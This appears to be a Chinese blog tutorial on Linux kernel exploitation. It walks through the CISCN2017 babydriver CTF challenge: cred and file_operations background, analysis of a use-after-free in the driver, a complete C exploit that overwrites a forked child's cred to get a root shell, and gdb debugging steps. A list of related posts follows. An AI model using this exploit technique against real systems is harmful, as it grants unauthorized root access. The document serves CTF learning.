Kernel Pwn 入门 (一)

kernel pwn入门 kernel入门 自己的环境是16.04,出入kernel记录下,大佬勿喷。。 环境编译 下载kernel源代码:https://www.kernel.org/ 按照必要的依赖 sudo apt-get update sudo apt-get install build-essential libncurses5-dev 编译kernel源码 make menuconfig #遵循sakura... 阅读详情

前提知识:

cred结构体

kernel使用cred结构体记录了进程的权限,如果能劫持或伪造cred结构体,就能改变当前进程的权限。

struct cred {
    atomic_t    usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC    0x43736564
#define CRED_MAGIC_DEAD    0x44656144
#endif
    kuid_t        uid;        /* real UID of the task */
    kgid_t        gid;        /* real GID of the task */
    kuid_t        suid;        /* saved UID of the task */
    kgid_t        sgid;        /* saved GID of the task */
    kuid_t        euid;        /* effective UID of the task */
    kgid_t        egid;        /* effective GID of the task */
    kuid_t        fsuid;        /* UID for VFS ops */
    kgid_t        fsgid;        /* GID for VFS ops */
    unsigned    securebits;    /* SUID-less security management */
    kernel_cap_t    cap_inheritable; /* caps our children can inherit */
    kernel_cap_t    cap_permitted;    /* caps we're permitted */
    kernel_cap_t    cap_effective;    /* caps we can actually use */
    kernel_cap_t    cap_bset;    /* capability bounding set */
    kernel_cap_t    cap_ambient;    /* Ambient capability set */
#ifdef CONFIG_KEYS
    unsigned char    jit_keyring;    /* default keyring to attach requested
                     * keys to */
    struct key __rcu *session_keyring; /* keyring inherited over fork */
    struct key    *process_keyring; /* keyring private to this process */
    struct key    *thread_keyring; /* keyring private to this thread */
    struct key    *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
    void        *security;    /* subjective LSM security */
#endif
    struct user_struct *user;    /* real user ID subscription */
    struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
    struct group_info *group_info;    /* supplementary groups for euid/fsgid */
    struct rcu_head    rcu;        /* RCU deletion hook */
} __randomize_layout;

一般而言,我们需要想办法将uid和gid设置为0(root的uid和gid均为0)
通过查找各种类型所占内存大小、对齐规则可知cred结构体的总大小是0xa8,一直到gid结束是28个字节。

本题内核版本在4.4.72,cred结构体的分配此时还并没有被隔离到cred_jar中,可以修改该结构体。

注意kernel 4.5 —— cred_jar 与 kmalloc-192 分离,因此我们无法通过 kmalloc 直接分配到 cred_jar 中的 object,因此我们需要寻找别的方式来提权。

如果能劫持到程序流程,执行以下函数也可以达到相同效果:

commit_creds(prepare_kernel_cred(0));
commit_creds(init_cred);

file_operations 结构体简介(fops)

file_operations 结构体定义在 <linux/fs.h> 头文件中,其基本定义如下:

struct file_operations {
    struct module *owner;
    loff_t (*llseek) (struct file *, loff_t, int);
    ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
    ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
    ssize_t (*read_iter) (struct kiocb *, struct iov_iter *);
    ssize_t (*write_iter) (struct kiocb *, struct iov_iter *);
    int (*iterate) (struct file *, struct dir_context *);
    unsigned int (*poll) (struct file *, struct poll_table_struct *);
    long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
    long (*compat_ioctl) (struct file *, unsigned int, unsigned long);
    int (*mmap) (struct file *, struct vm_area_struct *);
    int (*open) (struct inode *, struct file *);
    int (*flush) (struct file *, fl_owner_t id);
    int (*release) (struct inode *, struct file *);
    int (*fsync) (struct file *, loff_t, loff_t, int datasync);
    int (*aio_fsync) (struct kiocb *, int datasync);
    int (*fasync) (int, struct file *, int);
    int (*lock) (struct file *, int, struct file_lock *);
    ssize_t (*splice_write) (struct pipe_inode_info *, struct file *,
                             loff_t *, size_t, unsigned int);
    ssize_t (*splice_read) (struct file *, loff_t *,
                            struct pipe_inode_info *, size_t, unsigned int);
    int (*setlease) (struct file *, long, struct file_lock **);
    long (*move_mmap) (struct file *, struct vm_area_struct *);
    ssize_t (*dedupe_file_range) (struct file *, loff_t, loff_t,
                                  struct file *, loff_t, loff_t, unsigned);
    void (*show_fdinfo) (struct seq_file *m, struct file *f);
    unsigned (*atomic_open) (struct inode *, struct file *, unsigned);
};

虽然结构体中包含许多成员,但通常驱动程序只需要实现其中的一部分,根据具体需求进行选择。

常用的 file_operations 成员:

owner: 指向该 file_operations 结构体所属的模块。通常设为 THIS_MODULE。

open: 当用户空间调用 open() 系统调用打开设备文件时,此函数被调用。用于初始化设备状态、分配资源等。

read: 用户空间调用 read() 系统调用时,此函数被调用。用于从设备读取数据到用户空间。

write: 用户空间调用 write() 系统调用时,此函数被调用。用于将用户空间的数据写入设备。

release: 用户空间调用 close() 系统调用关闭设备文件时,此函数被调用。用于释放设备资源。

ioctl (unlocked_ioctl 和 compat_ioctl): 处理设备的控制请求,用户空间通过 ioctl() 系统调用向设备发送控制命令。

mmap: 当用户空间调用 mmap() 系统调用映射设备内存到用户空间时,此函数被调用。

llseek: 处理文件偏移量的调整,如用户调用 lseek()。

poll: 实现设备的异步 I/O 多路复用,如 select()、poll()、epoll() 等系统调用。

ioctl函数

ioctl() 是一个系统调用,其一般形式如下:

long ioctl(int fd, unsigned int cmd, unsigned long arg);
参数说明:
  1. fd (文件描述符):

    • 这是一个打开的文件描述符,通常是通过 open() 函数返回的。它表示用户空间程序要操作的设备或文件。
  2. cmd (命令码):

    • 这是一个整数值,用于指定操作的类型或设备的控制命令。它是一个唯一的命令码,通常由设备驱动程序定义,并且根据该命令来执行特定的操作。
    • 命令码通常是通过宏如 _IO, _IOR, _IOW, _IOWR 等来定义的,这些宏帮助设置命令码的格式以及数据的读写方向。
  3. arg (参数):

    • 这是一个长整型值,通常是一个指针,指向传递给设备驱动的额外数据。根据命令码的不同,arg 可以用来传递控制命令的参数,或者用于返回值。
    • 例如,如果命令需要传递数据,arg 可能是一个指向用户空间数据的指针;如果命令返回数据,arg 可能指向用于接收数据的缓冲区。
返回值:
  • 如果成功,ioctl() 通常返回 0 或正数,具体取决于设备的实现。
  • 如果失败,返回 -1 并设置 errno,表示错误的类型。例如,EBADF(文件描述符无效)、EINVAL(无效命令)、EFAULT(错误的用户内存地址)等。

CISCN2017_Pwn_babydriver

题目地址:CISCN2017_Pwn_babydriver

如果 boot.sh 失败,需要虚拟机开一下 虚拟化 Intel VT-x/EPT 或 AMD-V/RVI,开不了的话需要在 windows 下的管理员 cmd 窗口中执行 bcdedit /set hypervisorlaunchtype off,然后重启

下载下来有这几个文件
在这里插入图片描述
把babydriver.tar解压出来

tar -xvf ./babydriver.tar -C ./

多了如下文件
在这里插入图片描述

.
├── start.sh或boot.sh    	 # 启动脚本,运行这个脚本来启动QEMU
├── bzImage     	 # 压缩过的内核镜像(这个是真正的编译后的内核程序)
└── rootfs.cpio 	 # 作为初始RAM磁盘的文件,这里面的文件如下。注:这里只列出比较重要的文件,具体的看题目附件
	|----init   	 # init是系统启动时执行的第一个用户态进程(PID 1)。它是操作系统启动流程的核心部分,负责初始化系统并启动其他进程。这个init是比较重要的
	|----linuxrc 	 # linuxrc通常是一个脚本或可执行文件,它在一些早期的Linux版本中被用作默认的启动脚本,类似于init。 
	|----user		 # 这个多说
	|----sbin		 # sbin是“system binary”的缩写,通常包含系统管理员使用的二进制文件。
	|----lib		 # lib目录中的文件通常是为了支持基本命令和脚本运行所需的最小化库文件。
		|---- .....
			|---- test.ko # .ko表示的是内核模块,这个后面会具体介绍
	|----dev		 # 设备文件
	|----bin		 # bin目录通常包含一些基本的用户级二进制文件和命令
	

通常来说我们要将bzlmage提取出vmlinux,利用工具:extract-vmlinux

vmlinux是未压缩的Linux内核映像,包含完整的内核代码段和数据段。
通常包含调试符号,能够通过gdb等调试器加载进行符号化调试。
可以直接通过ROP工具或手动查找gadget,比如用ROPgadget、ROPg等工具搜索gadgets。

extract-vmlinux ./bzImage > ./vmlinux

在这里插入图片描述
利用file命令可以查看Linux内核版本。这里的内核版本是4.4.72.
在这里插入图片描述

然后就是解包文件系统 rootfs.cpio
原始cpio文件其实是以gz格式压缩后的,先gunzip解压一遍

mkdir ./rootfs
cd rootfs
cp ../rootfs.cpio ./rootfs.cpio.gz
gunzip ./rootfs.cpio.gz 
cpio -idmv < ./rootfs.cpio

通常来说需要调试的话要看这几个文件,然后做如下更改
一: boot.sh

#!/bin/bash

qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 nokalsr' -enable-kvm -monitor /dev/null -m 64M --nographic  -smp cores=1,threads=1 -cpu kvm64,+smep -s

二. init文件

#!/bin/sh
 
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0  -f


insmod命令用于将给定的模块加载到内核中。可见内核加载了位于/lib/modules/4.4.72/目录下的babydriver.ko文件。CTF中的内核题很多都是出在加载的模块上。
把这里的1000改为0的话就是root权限方便后续调试,但也可以不改.

分析:

babydriver_init函数

在这里插入图片描述

alloc_chrdev_region,向内核申请一个字符设备的新的主设备号,副设备号从 0 开始,设备名 babydev,申请的设备号存入 babydev_no 中
cdev 是初始化的结构体,file_operations 用来设置该设备的各类操作。
这一大段唯一值得注意的是init中设置了/dev/babydev作为设备文件。

babyopen函数

在这里插入图片描述
babyopen用为全局变量babydev_structf分别分配内存和释放内存。
这里调用kmem_cache_alloc_trace函数固定分配一64字节大小的内存,将长度记录在device_buf_len

全局变量babydev_struct由一个device_buf和它的长度device_buf_len两部分组成。
在这里插入图片描述

babyrelease函数

在这里插入图片描述

这里kfree后没有把指针置空,存在UAF漏洞。

babywrite函数

在这里插入图片描述

将用户空间的 buffer 内存中的数据拷贝到内核空间的 device_buf 上

babyread函数

在这里插入图片描述

babyioctl函数(重要函数)

在这里插入图片描述
babyioctl函数定义了一个命令,该命令执行的效果是释放现有的device_buf,按照用户传入的大小重新分配一块内存区域给device_buf,再记录长度到device_buf_len中。

利用思路

内核空间是所有进程都共享内存,如果打开了两个设备,会导致两个设备都对同一个全局指针,由于babydev_struct只存在一个,babydev_struct 具备相应的读写能力。若将其中一个关闭,内存会被释放。由于全局指针未清0,另一个设备仍然可以对该内存进行读写,导致形成 uaf 漏洞。

此时再fork()一个新线程,由于kernel的内存分配器采用的是SLUB,之前释放掉的那个和cred结构体相同大小的堆块会直接当成这个线程的cred被申请。(kmem_cache_cpu->freelist是后进先出的,类似于用户态glibc的fastbin,不过object并没有header。)

因此本题的利用思路如下:

1. 打开两次设备,通过ioctl将babydev_struct.device_buf大小变为的cred结构体的大小
2. 释放第一个设备,fork出一个新的进程,这个进程的cred结构体就会放在babydev_struct.device_buf所指向的内存区域
3. 使用第二个描述符,调用write向此时的babydev_struct.device_buf中写入28个0,刚好覆盖至uid和gid,实现root提权

EXP

#include<unistd.h>
#include<stdio.h>
#include<stdlib.h>
#include<fcntl.h>
#include<sys/wait.h>
#include<sys/stat.h>

int main(){
	int fd1 = open("/dev/babydev",O_RDWR);
	int fd2 = open("/dev/babydev",O_RDWR);

	ioctl(fd1,0x10001,0xa8);
	close(fd1);

	int id = fork();
	if(id <0){
		printf("fork error ! \n");
		exit(-1);
	}else if(id == 0){
		char cred[0xa8] = {0};
		write(fd2,cred,28);
		if(getuid()==0){
			system("/bin/sh");
			exit(0);
		}
	}else{
		wait(NULL);
	}


	return 0;
}

写好exp过后,由于rootfs.cpio里并没有libc,所以编译的时候要使用静态编译,利用musl-gcc可以使文件占的内存更小。

musl-gcc ./exp.c -o exp --static

编译好文件后重新打包文件系统

find . | cpio -o -H newc > ../rootfs.img

然后把boot.sh中的-initrd rootfs.cpio 改为-initrd rootfs.img
然后运行boot.sh后,执行我们的exp
在这里插入图片描述

gdb调试EXP

之前我们已经分离出了 vmlinux
1.启动gdb

gdb ./vmlinux -q
  1. 导入符号表
add-symbol-file ./rootfs/lib/modules/4.4.72/babydriver.ko 0xffffffffc0000000

两个参数分别为babydriver.ko在解包后的文件系统中的路径以及.text段的地址。地址可以直接在qemu中查看:
在这里插入图片描述

  1. gdb调试远程连接
target remote 127.0.0.1:1234

在这里插入图片描述

接着就可以下断点,然后按c继续执行,再在qemu虚拟机中运行exp进行正常调试。
分别在babyopen、babyioctl、babywrite三处下断点。
在这里插入图片描述
然后在qemu中运行exp
在这里插入图片描述

第一次在babyopen断下。

注意在进行kernel的调试时尽量使用si步入,在遇到call这类函数时可以使用ni进行步过.

si逐条单步步过汇编代码,直到为babydev_struct赋值的语句
在这里插入图片描述
0xffffffffc00024d0为babydev_struct.dev_buf的地址.
0xffffffffc00024d8为babydev_struct.dev_buf_len的地址

赋值前0xffffffffc00024d0和0xffffffffc00024d8值为空。执行完两条赋值语句后。

在这里插入图片描述
babydev_struct.dev_buf的内容是:
在这里插入图片描述

第二次babyopen断下

也是执行到赋值语句这里。
在这里插入图片描述
可以看到babydev_struct地址仍然是0xffffffffc00024d0。并且这个地址无论运行多少次都不会变。
查看内容:
在这里插入图片描述
可以看到 buffer进行了重新分配。

在 babyioctl断下

在这里插入图片描述
可以看到已经打开了两个文件。

然后依旧是si到赋值语句这里:
在这里插入图片描述
执行完两条赋值语句,查看buf内容。
在这里插入图片描述
可以看到babydev_struct又进行了buffer的重新分配,大小变成了0xa8,也就是cred结构体的大小。
在这里插入图片描述

babywrite断下

此时fork函数执行结束,子进程的cred结构体被放入babydev_struct.dev_buf指向的区域,这时cred结构体的内容如下:
在这里插入图片描述
然后si执行到返回处。
在这里插入图片描述
此时查看cred结构体的内容:
在这里插入图片描述
可以看到前28个字节的内容都杯改成了0;提权成功。

在这里插入图片描述

kernel_pwn中uffd机制的利用 内存映射在main()中使用mmap分配了 2 页内存(每页 4KB)。注册 userfaultfd调用将映射区域注册到 userfaultfd,使得对这些区域的访问触发缺页异常。缺页处理线程启动一个专门处理缺页事件的线程(),该线程通过poll()read()捕获缺页事件,然后利用将预先准备的数据填充到缺页区域。触发缺页在main()中通过读取映射内存触发缺页事件,最终观察到填充的数据。初始化与注册main()中调用mmap分配了 2 页内存,并通过注册到 userfaultfd。 阅读详情

相关推荐

老表带你学Linux kernel pwn 入门(三)

double fetch 条件竞争

weixin_43889007的博客 872

Kernel Pwn 入门 (1)

Kernel pwn 入门 (1):环境搭建、注意事项、第一个Kernel pwn题:QWB2018-Core

CoLin的pwn小屋 5457

老表带你学linux kernel pwn(五)结业考试

文章目录第一章 写在前面第二章 基础知识第三章 目标准备与分析3.1 `逆向分析baby.ko`3.1.1 `IDA`中堆栈不平衡的解决方法3.1.2 `init_moule`函数3.1.3 `free_get_preaddr`函数3.1.4 `baby_ioctl`函数第四章 exp编写与调试第五章 参考资料 第一章 写在前面 ​ 本篇是老表带你学linux kernel pwn入门系列的第五篇,也是入门系列的最后一篇。选取的是xman成都营中的level5,暂时没有在网上找到相关的思路介绍文章,通过前面

weixin_43889007的博客 529

linux kernel pwn 基础知识

驱动程序设备驱动文件系统驱动内核拓展模块LKMs 的文件格式和用户态的可执行程序相同,Linux 下为 ELF ,Windows 下为 exe/dll ,mac 下为 MACH-O ,因此我们可以使用 IDA 等工具来分析内核模块。模块可以被单独编译,但不能单独运行,它在运行时被链接到内核作为内核的一部分在内核空间运行,这与运行在用户空间的进程不同。模块通常用来实现一种文件系统,一个驱动程序或者其它内核上层的功能。

sky123博客 4875

BSW: Dcm模块配置--28服务

这个章节讲解下UDS中的28服务(Communcation Control)的配置,顾名思义,对当前ECU的通讯状态进行变更,主要设置应用报文,网络管理报文的收发控制,通常应用在刷写APP软件时,降低总线负载。这里首先要提醒的一点是,28服务几乎不需要手写代码,只有在客户需求要求前置条件不满足时报特定NRC时才需要填充代码。实际配置中主要涉及的模块有DCM,BSWM,ComM,RTE.2.BswM模块的配置。3.ComM模块的配置。1.DCM模块的配置。

Forever_Oct的博客 3086

操作系统知识点汇总(王道)

操作系统不论是就业还是升学都是核心的一门课程,对于大部分工科更是必修课程。本文章是对《王道操作系统》所有知识点的总结笔记,以供大家学习以及在备考期间复习使用。让我们一起把知识往脑子里旋好吗!!!......

S mile0804的博客 5万+

Kernel(一):基础

网卡DM9000:Kconfig(.config中CONFIG_ARM=y ==> depends on ARM || BLACKFIN || MIPS)==>menuconfig(DM9000 support:Y、N、M)==>.config(CONFIG_DM9000=y)==>(obj-$(CONFIG_DM9000) += dm9000.o)menuconfig和Kconfig:Kconfig为menuconfig菜单内容,修改Kconfig可修改(增删改)menuconfig菜单内容。

tyro_wzp的博客 1288

Plant Simulation新手入门:5步搞定生产线物流仿真(附模型库使用技巧)

本文为Plant Simulation新手提供了从零开始构建生产线物流仿真的五步入门指南。通过理念重塑、流程规划、对象连接、参数设置到数据分析的完整流程,帮助用户快速掌握这一强大仿真工具的核心逻辑。文章特别强调了模型库的高效使用技巧,助力工程师在虚拟环境中精准模拟和优化生产系统,提升规划效率。

efc123456的博客 333

Kernel pwn 入门 (8)

Kernel pwn 入门 (8)——Linux内核内存分配系统简介

CoLin的pwn小屋 1382

SAP_MM模块采购订单显示含税价&不含税简介

不含税价(Net Price):基础商品价格,不包含税金。含税价(Gross Price):基础价格加上适用税金后的总价。在SAP中,采购订单通常以不含税价为基础,通过配置税码和定价方案,系统会自动计算含税总价。

我小时候很黑的博客 2300

【Docker安装】Ubuntu 24.04.2 LTS系统下安装Docker环境——指定APT源安装方式

【Docker安装】Ubuntu 24.04.2 LTS系统下安装Docker环境——指定APT源安装方式

jks212454的博客 625

老表带你学Linux kernel pwn 入门(一)

不加任何保护机制的内核栈溢出提权

weixin_43889007的博客 4140

Ardupilot chibios IO固件,IO与FMU通信,固件下载(3)

目录 文章目录目录摘要 摘要 本节主要记录自己学习IO与FMU通信

陌城烟雨 2801

Linux Kernel pwn入门篇一

注意:在学习本知识之前请确保你已经熟练掌握了用户态下的pwn利用,如果还没有,下面相关内容可能会阅读吃力首先需要抛出的问题是:什么是kernel pwn?(有些也称为kernelCTF,不过意思差不多),他和我们常见的用户态pwn有什么区别?

2303_79366759的博客 422

【HomeAssistant接入的设备实现天猫精灵】

Home Assistant的HassLife组件: 此Home Assistant的组件可以让天猫精灵、小爱同学对接HomeAssistant平台上的设备,控制设备、查询上报设备状态。 注意:本插件只负责上报HomeAssistant的设备状态信息到服务器,控制功能需要在HassLife 平台上配置。.........

vor234的博客 1万+

2ED2410-EM的使用

2ED2410-EM的使用

让你爱上电路设计 971

CTFShow PWN入门---Kernel PWN 356-360 [持续更新]

Kernel PWN 357题解 本题与2018年强网杯的qwb2018-core题目完全相同,考察内核漏洞利用。 解题关键步骤: 通过/proc/show泄漏栈上的canary值 利用kallsyms获取内核关键函数地址(prepare_kernel_cred/commit_creds) 构造ROP链实现提权: 使用prepare_kernel_cred创建root凭证 调用commit_creds应用凭证 通过swapgs/iretq返回用户态获取root shell EXP特点: 结合了内核地址泄露与

saulgoodman的博客 626

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

Kernel PWN入门——Kernel ROP

本笔记参考自Kernel ROP - CTF Wiki ,主要记录步骤以及学习过程中的一些思考,主要用来复习,例题是强网杯 2018 - core。Kernel PWN入门——Kernel ROP 环境搭建 分析题目 找gadget 看start.sh 看init 内核启动 分析驱动文件 EXP getshell 题目给了 bzImage,core.cpio,start.sh 以及 vmlinux 四个文件,接下来简单介绍一下。

weixin_66578482的博客 1987

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

Kernel PWN 入门(二)

这篇文章介绍了针对qwb2018-core题目的Kernel ROP利用方法。主要内容包括:1) 题目环境配置与调试优化,通过修改start.sh和init文件禁用KASLR等保护;2) 分析core.ko模块的漏洞点,重点在core_copy_func函数存在栈溢出漏洞;3) 利用思路:先通过core_read泄露canary,再构造ROP链利用core_write和core_copy_func实现提权。文章详细说明了如何利用proc文件系统交互、如何绕过保护机制获取内核符号地址,并提供了初步的漏洞利用代

saulgoodman的博客 779

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

kernel pwn

比赛中的kernel pwn 比赛中我们会得到下面几个文件 正在上传…重新上传取消 bzImage 这是一个内核编译生成的压缩内核映像 core.cpio这是一个文件管理系统 针对core.cpio会有一系列常规操作 mkdir core cd core mv ../core.cpio core.cpio.gz // cp ../core.cpio core.cpio.gz gunzip core.cpio.gz cpio -idmv < core.cpio 然后我们在core..

nelson11112的博客 3885

kernel-pwn之ret2dir利用技巧

ret2dir是2014年在USENIX发表的一篇论文,该论文提出针对ret2usr提出的SMEP、SMAP等保护的绕过。全称为return-to-direct-mapped memory,返回直接映射的内存。

YJ_12340的博客 1035

linux内核pwn,[原创]linux kernel pwn 分析(一) 强网杯core + ciscn babydriver

通用的提权代码是commit_creds(prepare_kernel_cred(0));这两个函数如何动态获得?借助/proc/kallsyms符号表,在运行时动态读取。这个很容易实现,贴出一例:unsigned long find_symbol_by_proc(char *file_name, char *symbol_name){FILE *s_fp;char buff[200] = {0}...

weixin_42588672的博客 755

kernel pwn 如何进行内核提权

在内核漏洞利用中,若能伪造一个具有 root 权限的cred结构体,并将其替换为当前进程的cred指针所指向的结构体,即可实现对整个操作系统的权限提升。提权的核心在于控制进程的权限信息,而cred结构体是实现这一目标的关键。cred(credentials)结构体用于存储进程的权限信息,包括 UID、GID、有效 UID、有效 GID 等。kgid_t gid;...uidgideuidegid:表示进程的实际和有效用户/组 ID。fsuidfsgid。

2403_86572967的博客 708

kernel pwn 入门(三) ret2usr+bypass SMEP

摘要 本文介绍了如何利用smep保护机制绕过ret2usr攻击,以CISCN2017 babydriver为例。通过分析ptmx设备及其相关的tty_struct结构体分配机制,揭示其通过kmalloc申请堆空间的特点。重点讲解了tty_operations结构体中的函数指针,为后续利用UAF漏洞修改tty_struct结构体、实现内核提权奠定基础。这些技术细节为绕过SMEP保护提供了新的攻击思路。

saulgoodman的博客 964

pwn环境搭建_kernel pwn 入门环境搭建

